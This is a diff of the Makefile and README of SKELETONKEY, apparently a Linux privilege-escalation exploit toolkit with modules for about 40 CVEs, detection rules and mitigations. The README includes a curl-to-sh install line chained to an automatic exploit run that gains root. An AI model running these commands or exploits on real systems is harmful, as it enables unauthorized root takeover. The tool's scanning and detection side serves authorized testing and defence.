|
||||
DCOW_DIR := modules/dirty_cow_cve_2016_5195
|
||||
DCOW_SRCS := $(DCOW_DIR)/iamroot_modules.c
|
||||
DCOW_SRCS := $(DCOW_DIR)/skeletonkey_modules.c
|
||||
DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS))
|
||||
|
||||
# Family: ptrace_traceme (CVE-2019-13272)
|
||||
PTM_DIR := modules/ptrace_traceme_cve_2019_13272
|
||||
PTM_SRCS := $(PTM_DIR)/iamroot_modules.c
|
||||
PTM_SRCS := $(PTM_DIR)/skeletonkey_modules.c
|
||||
PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS))
|
||||
|
||||
# Family: netfilter_xtcompat (CVE-2021-22555)
|
||||
NXC_DIR := modules/netfilter_xtcompat_cve_2021_22555
|
||||
NXC_SRCS := $(NXC_DIR)/iamroot_modules.c
|
||||
NXC_SRCS := $(NXC_DIR)/skeletonkey_modules.c
|
||||
NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS))
|
||||
|
||||
# Family: af_packet (CVE-2017-7308)
|
||||
AFP_DIR := modules/af_packet_cve_2017_7308
|
||||
AFP_SRCS := $(AFP_DIR)/iamroot_modules.c
|
||||
AFP_SRCS := $(AFP_DIR)/skeletonkey_modules.c
|
||||
AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS))
|
||||
|
||||
# Family: fuse_legacy (CVE-2022-0185)
|
||||
FUL_DIR := modules/fuse_legacy_cve_2022_0185
|
||||
FUL_SRCS := $(FUL_DIR)/iamroot_modules.c
|
||||
FUL_SRCS := $(FUL_DIR)/skeletonkey_modules.c
|
||||
FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS))
|
||||
|
||||
# Family: stackrot (CVE-2023-3269)
|
||||
STR_DIR := modules/stackrot_cve_2023_3269
|
||||
STR_SRCS := $(STR_DIR)/iamroot_modules.c
|
||||
STR_SRCS := $(STR_DIR)/skeletonkey_modules.c
|
||||
STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS))
|
||||
|
||||
# Family: af_packet2 (CVE-2020-14386) — same family as af_packet
|
||||
AFP2_DIR := modules/af_packet2_cve_2020_14386
|
||||
AFP2_SRCS := $(AFP2_DIR)/iamroot_modules.c
|
||||
AFP2_SRCS := $(AFP2_DIR)/skeletonkey_modules.c
|
||||
AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS))
|
||||
|
||||
# Family: cgroup_release_agent (CVE-2022-0492)
|
||||
CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
|
||||
CRA_SRCS := $(CRA_DIR)/iamroot_modules.c
|
||||
CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
|
||||
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
|
||||
|
||||
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
|
||||
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family.
|
||||
# The exploit needs a FUSE filesystem to export a setuid-root lower layer;
|
||||
# autodetected via `pkg-config fuse3` (or fuse2). When absent, the module
|
||||
# compiles as a stub that returns PRECOND_FAIL with a hint to install the
|
||||
# libfuse3-dev (or libfuse-dev) package and rebuild.
|
||||
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
|
||||
OSU_SRCS := $(OSU_DIR)/iamroot_modules.c
|
||||
OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
|
||||
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
|
||||
|
||||
# Prefer fuse2 — the public CVE-2023-0386 PoC uses it, and overlay copy-up's
|
||||
# splice path works cleanly through libfuse2's read_buf; libfuse3's read_buf
|
||||
# path returns ENOSYS at copy-up on the kernels tested. Fall back to fuse3.
|
||||
OSU_FUSE2_OK := $(shell pkg-config --exists fuse 2>/dev/null && echo 1 || echo 0)
|
||||
OSU_FUSE3_OK := $(shell pkg-config --exists fuse3 2>/dev/null && echo 1 || echo 0)
|
||||
ifeq ($(OSU_FUSE2_OK),1)
|
||||
OSU_CFLAGS := $(shell pkg-config --cflags fuse) -DOVLSU_HAVE_FUSE
|
||||
OSU_LIBS := $(shell pkg-config --libs fuse)
|
||||
else ifeq ($(OSU_FUSE3_OK),1)
|
||||
OSU_CFLAGS := $(shell pkg-config --cflags fuse3) -DOVLSU_HAVE_FUSE -DOVLSU_FUSE3
|
||||
OSU_LIBS := $(shell pkg-config --libs fuse3)
|
||||
else
|
||||
OSU_CFLAGS :=
|
||||
OSU_LIBS :=
|
||||
endif
|
||||
$(OSU_OBJS): CFLAGS += $(OSU_CFLAGS)
|
||||
|
||||
# Family: nft_set_uaf (CVE-2023-32233)
|
||||
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
|
||||
NSU_SRCS := $(NSU_DIR)/iamroot_modules.c
|
||||
NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
|
||||
NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS))
|
||||
|
||||
# Family: af_unix_gc (CVE-2023-4622)
|
||||
AUG_DIR := modules/af_unix_gc_cve_2023_4622
|
||||
AUG_SRCS := $(AUG_DIR)/iamroot_modules.c
|
||||
AUG_SRCS := $(AUG_DIR)/skeletonkey_modules.c
|
||||
AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS))
|
||||
|
||||
# Family: nft_fwd_dup (CVE-2022-25636)
|
||||
NFD_DIR := modules/nft_fwd_dup_cve_2022_25636
|
||||
NFD_SRCS := $(NFD_DIR)/iamroot_modules.c
|
||||
NFD_SRCS := $(NFD_DIR)/skeletonkey_modules.c
|
||||
NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS))
|
||||
|
||||
# Family: nft_payload (CVE-2023-0179)
|
||||
NPL_DIR := modules/nft_payload_cve_2023_0179
|
||||
NPL_SRCS := $(NPL_DIR)/iamroot_modules.c
|
||||
NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c
|
||||
NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
|
||||
|
||||
SAM_DIR := modules/sudo_samedit_cve_2021_3156
|
||||
SAM_SRCS := $(SAM_DIR)/skeletonkey_modules.c
|
||||
SAM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SAM_SRCS))
|
||||
|
||||
SEQ_DIR := modules/sequoia_cve_2021_33909
|
||||
SEQ_SRCS := $(SEQ_DIR)/skeletonkey_modules.c
|
||||
SEQ_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SEQ_SRCS))
|
||||
|
||||
SUE_DIR := modules/sudoedit_editor_cve_2023_22809
|
||||
SUE_SRCS := $(SUE_DIR)/skeletonkey_modules.c
|
||||
SUE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUE_SRCS))
|
||||
|
||||
VMW_DIR := modules/vmwgfx_cve_2023_2008
|
||||
VMW_SRCS := $(VMW_DIR)/skeletonkey_modules.c
|
||||
VMW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VMW_SRCS))
|
||||
|
||||
# Family: dirtydecrypt (CVE-2026-31635) — rxgk page-cache write
|
||||
DDC_DIR := modules/dirtydecrypt_cve_2026_31635
|
||||
DDC_SRCS := $(DDC_DIR)/skeletonkey_modules.c
|
||||
DDC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DDC_SRCS))
|
||||
|
||||
# Family: fragnesia (CVE-2026-46300) — XFRM ESP-in-TCP page-cache write
|
||||
FGN_DIR := modules/fragnesia_cve_2026_46300
|
||||
FGN_SRCS := $(FGN_DIR)/skeletonkey_modules.c
|
||||
FGN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FGN_SRCS))
|
||||
|
||||
# Family: pack2theroot (CVE-2026-41651) — PackageKit TOCTOU userspace LPE.
|
||||
# Needs GLib/GIO for D-Bus; the build autodetects via `pkg-config gio-2.0`.
|
||||
# When absent (e.g. no libglib2.0-dev on the build host), the module
|
||||
# compiles as a stub that returns PRECOND_FAIL with a hint to install
|
||||
# the dev package and rebuild.
|
||||
P2TR_DIR := modules/pack2theroot_cve_2026_41651
|
||||
P2TR_SRCS := $(P2TR_DIR)/skeletonkey_modules.c
|
||||
P2TR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(P2TR_SRCS))
|
||||
|
||||
P2TR_GIO_OK := $(shell pkg-config --exists gio-2.0 2>/dev/null && echo 1 || echo 0)
|
||||
ifeq ($(P2TR_GIO_OK),1)
|
||||
P2TR_CFLAGS := $(shell pkg-config --cflags gio-2.0) -DPACK2TR_HAVE_GIO
|
||||
P2TR_LIBS := $(shell pkg-config --libs gio-2.0)
|
||||
else
|
||||
P2TR_CFLAGS :=
|
||||
P2TR_LIBS :=
|
||||
endif
|
||||
|
||||
# Per-object CFLAGS for the pack2theroot translation unit (GLib include
|
||||
# paths). Target-specific vars are scoped to this object's recipe.
|
||||
$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
|
||||
|
||||
# Family: sudo_chwoot (CVE-2025-32463) — sudo --chroot NSS injection
|
||||
SCHW_DIR := modules/sudo_chwoot_cve_2025_32463
|
||||
SCHW_SRCS := $(SCHW_DIR)/skeletonkey_modules.c
|
||||
SCHW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SCHW_SRCS))
|
||||
|
||||
# Family: udisks_libblockdev (CVE-2025-6019) — SUID-on-mount via polkit allow_active
|
||||
UDB_DIR := modules/udisks_libblockdev_cve_2025_6019
|
||||
UDB_SRCS := $(UDB_DIR)/skeletonkey_modules.c
|
||||
UDB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(UDB_SRCS))
|
||||
|
||||
# Family: pintheft (CVE-2026-43494) — RDS zerocopy double-free (V12 Security)
|
||||
PTH_DIR := modules/pintheft_cve_2026_43494
|
||||
PTH_SRCS := $(PTH_DIR)/skeletonkey_modules.c
|
||||
PTH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTH_SRCS))
|
||||
|
||||
# ── v0.9.0 gap-fillers ─────────────────────────────────────────────
|
||||
|
||||
# CVE-2018-14634 Mutagen Astronomy — create_elf_tables() int wrap
|
||||
MUT_DIR := modules/mutagen_astronomy_cve_2018_14634
|
||||
MUT_SRCS := $(MUT_DIR)/skeletonkey_modules.c
|
||||
MUT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(MUT_SRCS))
|
||||
|
||||
# CVE-2019-14287 sudo Runas -u#-1 underflow
|
||||
SRN_DIR := modules/sudo_runas_neg1_cve_2019_14287
|
||||
SRN_SRCS := $(SRN_DIR)/skeletonkey_modules.c
|
||||
SRN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SRN_SRCS))
|
||||
|
||||
# CVE-2020-29661 TIOCSPGRP UAF race
|
||||
TIO_DIR := modules/tioscpgrp_cve_2020_29661
|
||||
TIO_SRCS := $(TIO_DIR)/skeletonkey_modules.c
|
||||
TIO_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TIO_SRCS))
|
||||
|
||||
# CVE-2024-50264 AF_VSOCK connect-race UAF (Pwn2Own 2024)
|
||||
VSK_DIR := modules/vsock_uaf_cve_2024_50264
|
||||
VSK_SRCS := $(VSK_DIR)/skeletonkey_modules.c
|
||||
VSK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VSK_SRCS))
|
||||
|
||||
# CVE-2024-26581 nft_pipapo destroy-race (Notselwyn II)
|
||||
PIP_DIR := modules/nft_pipapo_cve_2024_26581
|
||||
PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c
|
||||
PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS))
|
||||
|
||||
# CVE-2026-46333 ptrace/pidfd_getfd __ptrace_may_access dumpable-race cred-steal (Qualys)
|
||||
PPF_DIR := modules/ptrace_pidfd_cve_2026_46333
|
||||
PPF_SRCS := $(PPF_DIR)/skeletonkey_modules.c
|
||||
PPF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PPF_SRCS))
|
||||
|
||||
# CVE-2025-32462 sudo -h/--host policy bypass (Stratascale; sudo family)
|
||||
SUH_DIR := modules/sudo_host_cve_2025_32462
|
||||
SUH_SRCS := $(SUH_DIR)/skeletonkey_modules.c
|
||||
SUH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUH_SRCS))
|
||||
|
||||
# CVE-2026-46243 CIFSwitch — cifs.spnego userspace-forged key trust (Asim Manizada)
|
||||
CIW_DIR := modules/cifswitch_cve_2026_46243
|
||||
CIW_SRCS := $(CIW_DIR)/skeletonkey_modules.c
|
||||
CIW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CIW_SRCS))
|
||||
|
||||
# CVE-2026-23111 nft_catchall — nf_tables nft_map_catchall_activate abort UAF (FuzzingLabs repro)
|
||||
NCA_DIR := modules/nft_catchall_cve_2026_23111
|
||||
NCA_SRCS := $(NCA_DIR)/skeletonkey_modules.c
|
||||
NCA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NCA_SRCS))
|
||||
|
||||
# CVE-2026-46242 bad_epoll — epoll ep_remove-vs-__fput teardown race UAF ("Bad Epoll", J-jaeyoung kernelCTF)
|
||||
BEP_DIR := modules/bad_epoll_cve_2026_46242
|
||||
BEP_SRCS := $(BEP_DIR)/skeletonkey_modules.c
|
||||
BEP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(BEP_SRCS))
|
||||
|
||||
# CVE-2026-43499 ghostlock — rtmutex/futex requeue-PI remove_waiter() stack UAF ("GhostLock", VEGA / Nebula Security)
|
||||
GHL_DIR := modules/ghostlock_cve_2026_43499
|
||||
GHL_SRCS := $(GHL_DIR)/skeletonkey_modules.c
|
||||
GHL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(GHL_SRCS))
|
||||
|
||||
# CVE-2026-64600 refluxfs — XFS reflink CoW ILOCK-cycling TOCTOU race ("RefluXFS", Qualys TRU)
|
||||
RFX_DIR := modules/refluxfs_cve_2026_64600
|
||||
RFX_SRCS := $(RFX_DIR)/skeletonkey_modules.c
|
||||
RFX_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(RFX_SRCS))
|
||||
|
||||
# Top-level dispatcher
|
||||
TOP_OBJ := $(BUILD)/iamroot.o
|
||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS)
|
||||
# All module objects in one var so both the main binary and the test
|
||||
# binary can re-use the list without duplicating the long enumeration.
|
||||
MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
||||
$(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) \
|
||||
$(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
|
||||
$(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
|
||||
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
|
||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
|
||||
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
||||
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
|
||||
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) \
|
||||
$(GHL_OBJS) $(RFX_OBJS)
|
||||
|
||||
.PHONY: all clean debug static help
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
# Tests — `make test` builds and runs both unit-test binaries.
|
||||
#
|
||||
# skeletonkey-test — detect() integration tests against
|
||||
# synthetic host fingerprints. Links
|
||||
# the full module corpus.
|
||||
# skeletonkey-test-kr — pure unit tests for kernel_range +
|
||||
# host comparison helpers. Tiny binary
|
||||
# (core/ only); runs cross-platform.
|
||||
TEST_DIR := tests
|
||||
TEST_SRCS := $(TEST_DIR)/test_detect.c
|
||||
TEST_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_SRCS))
|
||||
TEST_BIN := skeletonkey-test
|
||||
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
TEST_KR_SRCS := $(TEST_DIR)/test_kernel_range.c
|
||||
TEST_KR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_KR_SRCS))
|
||||
TEST_KR_BIN := skeletonkey-test-kr
|
||||
TEST_KR_ALL_OBJS := $(TEST_KR_OBJS) $(CORE_OBJS)
|
||||
|
||||
.PHONY: all clean debug static help test
|
||||
|
||||
all: $(BIN)
|
||||
|
||||
$(BIN): $(ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS) $(OSU_LIBS)
|
||||
|
||||
$(TEST_BIN): $(TEST_ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS) $(OSU_LIBS)
|
||||
|
||||
$(TEST_KR_BIN): $(TEST_KR_ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
|
||||
|
||||
test: $(TEST_BIN) $(TEST_KR_BIN)
|
||||
@echo "[*] running kernel_range unit tests ($(TEST_KR_BIN))"
|
||||
./$(TEST_KR_BIN)
|
||||
@echo
|
||||
@echo "[*] running detect() integration tests ($(TEST_BIN))"
|
||||
./$(TEST_BIN)
|
||||
|
||||
# Generic compile: any .c → corresponding .o under build/
|
||||
$(BUILD)/%.o: %.c
|
||||
@@ -150,13 +347,14 @@ static: LDFLAGS += -static
|
||||
static: clean $(BIN)
|
||||
|
||||
clean:
|
||||
rm -rf $(BUILD) $(BIN)
|
||||
rm -rf $(BUILD) $(BIN) $(TEST_BIN) $(TEST_KR_BIN)
|
||||
|
||||
help:
|
||||
@echo "Targets:"
|
||||
@echo " make build optimized iamroot binary"
|
||||
@echo " make build optimized skeletonkey binary"
|
||||
@echo " make debug build with -O0 -g3"
|
||||
@echo " make static build a fully static binary"
|
||||
@echo " make test build + run the detect() unit test suite"
|
||||
@echo " make clean remove build artifacts"
|
||||
@echo ""
|
||||
@echo "Per-module (legacy) — not built by default:"
|
||||
|
||||
@@ -1,164 +1,362 @@
|
||||
# IAMROOT
|
||||
# SKELETONKEY
|
||||
|
||||
> A curated, actively-maintained corpus of Linux kernel LPE exploits —
|
||||
> bundled with their detection signatures, patch status, and version
|
||||
> ranges. Run it on a system you own (or are authorized to test) and
|
||||
> it tells you which historical and recent CVEs that system is still
|
||||
> vulnerable to, and — with explicit confirmation — gets you root.
|
||||
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||
[](LICENSE)
|
||||
[](docs/VERIFICATIONS.jsonl)
|
||||
[](docs/EXPLOITED.md)
|
||||
[](#)
|
||||
|
||||
```
|
||||
██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗
|
||||
██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
|
||||
██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║
|
||||
██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║
|
||||
██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██║
|
||||
╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
|
||||
> **One curated binary. 46 Linux LPE modules covering 41 CVEs from 2016 → 2026.
|
||||
> Every year 2016 → 2026 covered. 31 of the 41 CVEs confirmed against real Linux
|
||||
> VMs via `tools/verify-vm/` — and **11 modules confirmed landing `uid=0`
|
||||
> out-of-band** (an independent root proof, never self-report). Detection rules
|
||||
> in the box. One command picks the safest one and runs it.**
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& export PATH="$HOME/.local/bin:$PATH" \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
> ⚠️ **Authorized testing only.** IAMROOT is a research and red-team
|
||||
> tool. By using it you assert you have explicit authorization to test
|
||||
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
||||
> ⚠️ **Authorized testing only.** SKELETONKEY runs real exploits. By
|
||||
> using it you assert you have explicit authorization to test the
|
||||
> target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
||||
|
||||
## Why use this
|
||||
|
||||
Most Linux privesc tooling is broken in one of three ways:
|
||||
|
||||
- **`linux-exploit-suggester` / `linpeas`** — tell you what *might*
|
||||
work, run nothing
|
||||
- **`auto-root-exploit` / `kernelpop`** — bundle exploits but ship
|
||||
no detection signatures and went stale years ago
|
||||
- **Per-CVE PoC repos** — one author, one distro, abandoned within
|
||||
months
|
||||
|
||||
SKELETONKEY is one binary, actively maintained, with detection rules
|
||||
for every CVE in the bundle — same project for red and blue teams.
|
||||
|
||||
## Who it's for
|
||||
|
||||
| Audience | What you get |
|
||||
|---|---|
|
||||
| **Red team / pentesters** | One tested binary. `--auto` ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. |
|
||||
| **Sysadmins** | `skeletonkey --scan` (no sudo needed) tells you which boxes still need patching. Fleet-scan tool included. JSON output for CI gates ([schema](docs/JSON_SCHEMA.md)). |
|
||||
| **Blue team / SOC** | Auditd + sigma + yara + falco rules for every CVE. `--detect-rules --format=auditd \| sudo tee …` ships SIEM coverage in one command. |
|
||||
| **CTF / training** | Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. |
|
||||
|
||||
## Corpus at a glance
|
||||
|
||||
**46 modules covering 41 distinct CVEs** across the 2016 → 2026 LPE
|
||||
timeline. **31 of the 41 CVEs have been empirically verified** in real
|
||||
Linux VMs via `tools/verify-vm/`; the 10 still-pending entries are
|
||||
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
||||
the t64-transition libc rollout) or are brand-new additions awaiting a
|
||||
VM sweep, not by missing code.
|
||||
|
||||
**Verified end-to-end (uid=0):** beyond confirming each `detect()` verdict,
|
||||
**11 modules have been run to a real root shell in a VM and witnessed
|
||||
out-of-band** — a root-owned artifact, an `/etc/shadow` read, or a setuid-bash
|
||||
sentinel, never the module's own self-report. The full ledger (targets, method,
|
||||
and the four false-`EXPLOIT_OK` bugs this surfaced and fixed) is in
|
||||
[`docs/EXPLOITED.md`](docs/EXPLOITED.md).
|
||||
|
||||
| Tier | Count | What it means |
|
||||
|---|---|---|
|
||||
| 🟢 Full chain | **16** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||
| 🟡 Primitive | **13** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||
|
||||
**🟢 Modules that land root on a vulnerable host:**
|
||||
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
||||
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
|
||||
cgroup_release_agent · ptrace_traceme · sudoedit_editor ·
|
||||
sudo_samedit (CVE-2021-3156, Baron Samedit) · entrybleed
|
||||
(KASLR leak primitive) · refluxfs (CVE-2026-64600, `--full-chain`:
|
||||
`/etc/passwd` root pop on a private-extent XFS target)
|
||||
|
||||
**🟡 Modules with opt-in `--full-chain`:**
|
||||
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||
netfilter_xtcompat · stackrot · sequoia · vmwgfx
|
||||
|
||||
### Empirical verification (31 of 41 CVEs)
|
||||
|
||||
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
||||
each verdict against a known-target VM; **bold** modules were additionally run
|
||||
to a real root shell and witnessed out-of-band (see [`docs/EXPLOITED.md`](docs/EXPLOITED.md)).
|
||||
Coverage:
|
||||
|
||||
| Distro / kernel | Modules verified |
|
||||
|---|---|
|
||||
| Ubuntu 18.04 (4.15.0, sudo 1.8.21p2) | af_packet · **ptrace_traceme** · **sudo_samedit** · **sudo_runas_neg1** |
|
||||
| Ubuntu 20.04 (5.4.0-26 pinned + 5.15 HWE) | af_packet2 · cls_route4 · nft_payload · **overlayfs** · **pwnkit** · sequoia · tioscpgrp |
|
||||
| Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10 / 6.19.7) | af_unix_gc · dirtydecrypt · entrybleed · nf_tables · nft_set_uaf · nft_pipapo · **overlayfs_setuid** · stackrot · **sudoedit_editor** · sudo_chwoot · **sudo_host** |
|
||||
| mainline (dirty_pipe on 5.16.0, dirty_cow on 4.8.0) | **dirty_pipe** · **dirty_cow** |
|
||||
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
||||
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
|
||||
| Rocky Linux 9.8 (5.14.0-687.10.1.el9_8.0.1, stock XFS + `reflink=1`) | **refluxfs** |
|
||||
|
||||
**Not yet verified (10):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
||||
box), `mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
|
||||
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
|
||||
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
|
||||
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
|
||||
13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
|
||||
2026-05 Qualys disclosure — added this cycle, VM sweep pending),
|
||||
`cifswitch` (detect + `add_key` primitive VM-verified; full chain
|
||||
+ patched-kernel discriminator pending), `nft_catchall` (reconstructed
|
||||
kernel-UAF trigger, not VM-verified), `bad_epoll` (reconstructed epoll
|
||||
race trigger — deliberately under-driven, not VM-verified), `ghostlock`
|
||||
(reconstructed rtmutex/futex-PI stack-UAF trigger — deliberately
|
||||
under-driven, not VM-verified). All ten are
|
||||
flagged in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale.
|
||||
|
||||
(`dirty_cow` and `sudo_host` were on this list last release; both are now
|
||||
VM-verified — `dirty_cow` run to root on a provisioned mainline 4.8.0 kernel,
|
||||
`sudo_host` on Ubuntu 22.04 with a host-scoped sudoers rule.)
|
||||
|
||||
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||
detection status. Run `skeletonkey --module-info <name>` for the
|
||||
embedded verification records per module.
|
||||
|
||||
## Quickstart
|
||||
|
||||
```bash
|
||||
# One-shot install (x86_64 / arm64; checksum-verified)
|
||||
curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
|
||||
```
|
||||
# Install (x86_64 / arm64; checksum-verified)
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
|
||||
**iamroot runs as a normal unprivileged user** — that's the whole
|
||||
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
|
||||
work without `sudo`. Only `--mitigate` and rule-file installation
|
||||
write to root-owned paths.
|
||||
|
||||
```bash
|
||||
# What's this box vulnerable to? (no sudo)
|
||||
iamroot --scan
|
||||
skeletonkey --scan
|
||||
|
||||
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
|
||||
iamroot --audit
|
||||
# One-page operator briefing for a single CVE: CWE / MITRE ATT&CK /
|
||||
# CISA KEV status, live detect() trace, OPSEC footprint, detection
|
||||
# coverage. Useful for triage tickets and SOC analyst handoffs.
|
||||
skeletonkey --explain nf_tables
|
||||
|
||||
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
|
||||
iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||||
# Pick the safest LPE and run it
|
||||
skeletonkey --auto --i-know
|
||||
|
||||
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
|
||||
sudo iamroot --mitigate copy_fail
|
||||
# Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
|
||||
skeletonkey --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
|
||||
./tools/iamroot-fleet-scan.sh --binary iamroot --ssh-key ~/.ssh/id_rsa hosts.txt
|
||||
# Fleet scan — many hosts via SSH, aggregated JSON for SIEM
|
||||
